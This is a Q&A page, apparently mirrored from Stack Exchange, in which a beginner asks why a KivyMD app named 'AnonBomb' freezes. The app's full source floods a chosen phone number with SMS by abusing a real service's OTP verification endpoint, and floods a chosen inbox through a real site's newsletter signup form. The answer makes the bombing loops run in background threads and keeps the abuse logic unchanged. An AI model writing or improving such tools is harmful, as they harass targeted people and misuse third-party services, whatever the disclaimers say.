You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Python/KivyMD新手求助:解决应用执行后台任务时无响应及线程使用报错问题

问题:Kivy应用执行后台网络请求时卡顿无响应,线程使用报错

我是Python和Kivy(KivyMD)的新手,受朋友挑战开发了一款名为AnonBomb的应用,期间解决了诸多错误,但目前遇到一个棘手问题:当我点击按钮触发后台执行的函数(比如sms_bomb()或email_bomb())时,整个Kivy应用会出现卡顿甚至提示“无响应”。

我了解到可以通过threading(线程)解决此问题,但尝试在按钮的on_press事件中使用threading.Thread(target=app.function_name)时,出现了NameError: name 'threading' is not defined的报错。

希望能得到帮助解决应用无响应的问题,无论是否使用线程方案均可。以下是我的完整代码:

from kivy.uix.boxlayout import BoxLayout
from kivymd.app import MDApp
import requests as rq
from requests.structures import CaseInsensitiveDict
from kivy.lang import Builder
from kivy.core.window import Window
import threading

Window.size=(400,600)

screen_helper="""
MDScreen:
    MDNavigationLayout:
        MDToolbar:
            id:toolbar
            title:'AnonBomb'
            pos_hint:{"top": 1}
            left_action_items:[['menu',lambda x: nav_drawer.set_state("open")]]
            elevation:20
        ScreenManager:
            id: screen_manager
            MDScreen:
                #_________________________Home Screen_________________________
                name:'home'
                #________1st Label________
                MDLabel:
                    text:'This app is for fun, Not for Revange'
                    theme_text_color:'Custom'
                    text_color: 1,0,0
                    font_style:'H6'
                    halign:'center'
                    pos_hint:{'center_x':0.5,'center_y':0.8}
                    size_hint_x:None
                    width:300
                #________2nd Label________
                MDLabel:
                    text:'We are not responsible for any misuse of our app'
                    theme_text_color:'Custom'
                    text_color: 0,0,1
                    font_style:'H6'
                    halign:'center'
                    pos_hint:{'center_x':0.5,'center_y':0.69}
                    size_hint_x:None
                    width:300
                #________3rd Label________
                MDLabel:
                    text:'Choose Any Bomber Below'
                    theme_text_color:'Custom'
                    font_style:'H5'
                    halign:'center'
                    pos_hint:{'center_x':0.5,'center_y':0.4}
                    size_hint_x:None
                    width:300
                #________Switch SMS Bomber Button________
                MDFillRoundFlatIconButton:
                    text:'SMS Bomber'
                    pos_hint:{'center_x':0.25,'center_y':0.2}
                    icon:'message'
                    on_press:screen_manager.current='sms'
                #________Switch Email Bomber Button________
                MDFillRoundFlatIconButton:
                    text:'Email Bomber'
                    pos_hint:{'center_x':0.75,'center_y':0.2}
                    icon:'email'
                    on_press:screen_manager.current='email'
            MDScreen:
                #_________________________SMS Bomber Screen_________________________
                name:'sms'
                #________1st Label________
                MDLabel:
                    text:'SMS Bomber'
                    font_style:'H5'
                    halign:'center'
                    pos_hint:{'center_x':0.5,'center_y':0.83}
                #________2nd Label________
                MDLabel:
                    text:'Note: SMS Bomber will Only work with Bangladeshi Numbers'
                    halign:'center'
                    pos_hint:{'center_x':0.5,'center_y':0.75}
                #________Target Number________
                MDTextField:
                    id:sms_target
                    hint_text:'Enter Target Number (without +88)'
                    pos_hint:{'center_x':0.5,'center_y':0.65}
                    size_hint_x:None
                    width:300
                #________SMS Amount________
                MDTextField:
                    id:sms_amount
                    hint_text:'Enter SMS Amount'
                    pos_hint:{'center_x':0.5,'center_y':0.55}
                    size_hint_x:None
                    width:300
                #________Run Button________
                MDFillRoundFlatIconButton:
                    text:'Start Bombing'
                    pos_hint:{'center_x':0.5,'center_y':0.45}
                    icon:'message'
                    on_press:app.sms_bomb()
                #________Back Button________
                MDFillRoundFlatIconButton:
                    text:'Back'
                    pos_hint:{'center_x':0.16,'center_y':0.06}
                    icon:'logout'
                    on_press:screen_manager.current='home'
            MDScreen:
                #_________________________Email Bomber Screen_________________________
                name:'email'
                #________1st Label________
                MDLabel:
                    text:'Email Bomber'
                    font_style:'H5'
                    halign:'center'
                    pos_hint:{'center_x':0.5,'center_y':0.83}
                #________Target Address________
                MDTextField:
                    id:email_target
                    hint_text:'Enter Target Mail'
                    pos_hint:{'center_x':0.5,'center_y':0.65}
                    size_hint_x:None
                    width:300
                #________Email Amount________
                MDTextField:
                    id:email_amount
                    hint_text:'Enter Mail Amount'
                    pos_hint:{'center_x':0.5,'center_y':0.55}
                    size_hint_x:None
                    width:300
                #________Run Button________
                MDFillRoundFlatIconButton:
                    text:'Start Bombing'
                    pos_hint:{'center_x':0.5,'center_y':0.45}
                    icon:'email'
                    on_press:app.email_bomb()
                #________Back Button________
                MDFillRoundFlatIconButton:
                    text:'Back'
                    pos_hint:{'center_x':0.16,'center_y':0.06}
                    icon:'logout'
                    on_press:screen_manager.current='home'
            MDScreen:
                #_________________________About ME Screen_________________________
                name:'about'
                #________1st Label________
                MDLabel:
                    text:'About Me'
                    font_style:'H5'
                    halign:'center'
                    pos_hint:{'center_x':0.5,'center_y':0.83}
                #________2nd Label________
                MDLabel:
                    text:'''Hello Peep's, my name is S.M.Shahriar Zarir. I'm a little Python Developer from Bangladesh. I read in Python Class and I live with My Laptop Screen :), You can find me at linktr.ee/zariradvance'''
                    halign:'center'
                    pos_hint:{'center_x':0.5,'center_y':0.65}
                    size_hint_x:None
                    width:350
                #________Back Button________
                MDFillRoundFlatIconButton:
                    text:'Back'
                    pos_hint:{'center_x':0.16,'center_y':0.06}
                    icon:'logout'
                    on_press:screen_manager.current='home'
        MDNavigationDrawer:
            id:nav_drawer
            ContentNavigationDrawer:
                orientation: 'vertical'
                padding: '8dp'
                spacing: '8dp'
                ScrollView:
                    MDList:
                        OneLineIconListItem:
                            text:'Home'
                            theme_text_color:'Custom'
                            text_color:0,0,1
                            on_press:
                                nav_drawer.set_state("close")
                                screen_manager.current='home'
                            IconLeftWidget:
                                icon:'home'
                                theme_text_color:'Custom'
                                text_color:0,0,1
                        OneLineIconListItem:
                            text:'SMS Bomber'
                            theme_text_color:'Custom'
                            text_color:0,0,1
                            on_press:
                                nav_drawer.set_state("close")
                                screen_manager.current='sms'
                            IconLeftWidget:
                                icon:'message'
                                theme_text_color:'Custom'
                                text_color:0,0,1
                        OneLineIconListItem:
                            text:'Email Bomber'
                            theme_text_color:'Custom'
                            text_color:0,0,1
                            on_press:
                                nav_drawer.set_state("close")
                                screen_manager.current='email'
                            IconLeftWidget:
                                icon:'email'
                                theme_text_color:'Custom'
                                text_color:0,0,1
                        OneLineIconListItem:
                            text:'About Me'
                            theme_text_color:'Custom'
                            text_color:0,0,1
                            on_press:
                                nav_drawer.set_state("close")
                                screen_manager.current='about'
                            IconLeftWidget:
                                icon:'baby-face'
                                theme_text_color:'Custom'
                                text_color:0,0,1
"""

class ContentNavigationDrawer(BoxLayout):
    pass

class AnonBomb(MDApp):
    def build(self):
        self.theme_cls.primary_palette = 'Blue'
        self.theme_cls.primary_hue = 'A700'
        self.layout=Builder.load_string(screen_helper)
        return self.layout

    def sms_bomb(self):
        target=self.root.ids.sms_target.text
        count=self.root.ids.sms_amount.text
        number=str(target)
        amount=int(count)
        url = "https://toffeelive.com/app/service.php"
        headers = CaseInsensitiveDict()
        headers["Content-Type"] = "application/x-www-form-urlencoded"
        data = "phoneNumber="+number+"&route=auth_verify_mobile_no"
        resp = rq.post(url, headers=headers, data=data)
        for i in range(amount):
            resp = rq.post(url, headers=headers, data=data)
            if resp.status_code==200:
                print(f'>>> [+] {i+1} SMS Sent Successfully')
            elif resp.status_code==201:
                print(f'>>> [+] {i+1} SMS Sent Successfully')

    def email_bomb(self):
        target=self.root.ids.email_target.text
        count=self.root.ids.email_amount.text
        address = str(target)
        amount = int(count)
        url = "https://themezee.com/wp-admin/admin-ajax.php?action=mc4wp-form"
        headers = CaseInsensitiveDict()
        headers["Content-Type"] = "application/x-www-form-urlencoded"
        data = "EMAIL="+address+"&AGREE=1&_mc4wp_honeypot=&_mc4wp_timestamp=1614865641&_mc4wp_form_id=184963&_mc4wp_form_element_id=mc4wp-form-1"
        success=0
        failed=0
        for i in range(amount):
            resp = rq.post(url, headers=headers, data=data)
            if resp.status_code == 200:
                success += 1
                print(f'>>> [+] {success} Mail Sent Successfully')
            else:
                failed += 1
                print(f'>>> [+] {failed} Mail Sent Unsuccessfully')
        print(f'\n>>> Task Done! {success} mail sent & {failed} mail failed')

if __name__=='__main__':
    AnonBomb().run()

注:此工具仅用于朋友挑战的学习目的,不会用于骚扰他人,请协助我解决问题。


解决方案:用线程将耗时任务移出UI主线程

你的应用卡顿的核心原因是耗时的网络请求阻塞了Kivy的UI主线程,导致界面无法响应用户操作。线程是解决这个问题的最优方案,下面一步步帮你修复:

1. 解决NameError问题

看你提供的代码已经导入了threading模块,之前的报错大概率是因为你尝试在kv语言中直接调用threading(kv文件无法直接使用未注册的Python模块)。我们需要在Python代码内部创建并启动线程,而非在kv中直接操作。

2. 重构函数,将耗时逻辑放入子线程

我们需要把网络请求的循环逻辑封装成独立任务,放到子线程中执行,让UI主线程保持空闲。同时添加输入校验,避免无效输入导致的错误:

修改后的AnonBomb类代码:

class AnonBomb(MDApp):
    def build(self):
        self.theme_cls.primary_palette = 'Blue'
        self.theme_cls.primary_hue = 'A700'
        self.layout=Builder.load_string(screen_helper)
        return self.layout

    def sms_bomb(self):
        target=self.root.ids.sms_target.text
        count=self.root.ids.sms_amount.text
        
        # 输入校验
        if not target or not count.isdigit():
            from kivymd.toast import toast
            toast("请输入有效的号码和数量!")
            return
            
        number=str(target)
        amount=int(count)
        
        # 封装耗时的短信发送任务
        def send_sms_task():
            url = "https://toffeelive.com/app/service.php"
            headers = CaseInsensitiveDict()
            headers["Content-Type"] = "application/x-www-form-urlencoded"
            data = "phoneNumber="+number+"&route=auth_verify_mobile_no"
            # 原代码的重复请求可以优化,这里保留原有逻辑
            resp = rq.post(url, headers=headers, data=data)
            for i in range(amount):
                resp = rq.post(url, headers=headers, data=data)
                if resp.status_code in [200,201]:
                    print(f'>>> [+] {i+1} SMS Sent Successfully')
        
        # 启动守护线程执行任务,daemon=True保证程序退出时线程自动终止
        threading.Thread(target=send_sms_task, daemon=True).start()

    def email_bomb(self):
        target=self.root.ids.email_target.text
        count=self.root.ids.email_amount.text
        
        # 输入校验
        if not target or not count.isdigit():
            from kivymd.toast import toast
            toast("请输入有效的邮箱和数量!")
            return
            
        address = str(target)
        amount = int(count)
        
        # 封装耗时的邮件发送任务
        def send_email_task():
            url = "https://themezee.com/wp-admin/admin-ajax.php?action=mc4wp-form"
            headers = CaseInsensitiveDict()
            headers["Content-Type"] = "application/x-www-form-urlencoded"
            data = "EMAIL="+address+"&AGREE=1&_mc4wp_honeypot=&_mc4wp_timestamp=1614865641&_mc4wp_form_id=184963&_mc4wp_form_element_id=mc4wp-form-1"
            success=0
            failed=0
            for i in range(amount):
                resp = rq.post(url, headers=headers, data=data)
                if resp.status_code == 200:
                    success += 1
                    print(f'>>> [+] {success} Mail Sent Successfully')
                else:
                    failed += 1
                    print(f'>>> [+] {failed} Mail Sent Unsuccessfully')
            print(f'\n>>> Task Done! {success} mail sent & {failed} mail failed')
        
        # 启动守护线程执行任务
        threading.Thread(target=send_email_task, daemon=True).start()

3. 关键注意事项

  • 子线程禁止操作UI:如果之后你需要在任务完成后更新界面(比如显示发送结果),不能直接在子线程中修改UI组件,必须使用from kivy.clock import Clock,通过Clock.schedule_once(lambda dt: self.update_ui(result))将UI更新逻辑抛回主线程执行。
  • 守护线程的作用:设置daemon=True可以让子线程随主程序退出而自动终止,避免线程残留。
  • 输入校验的必要性:提前校验用户输入,既能避免无效请求,也能提升用户体验。

修改完成后,点击按钮时耗时的网络请求会在后台线程执行,UI主线程不会被阻塞,应用就不会再出现卡顿或无响应的情况了。

内容的提问来源于stack exchange,提问作者ZARIR

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.04.30 15:12:44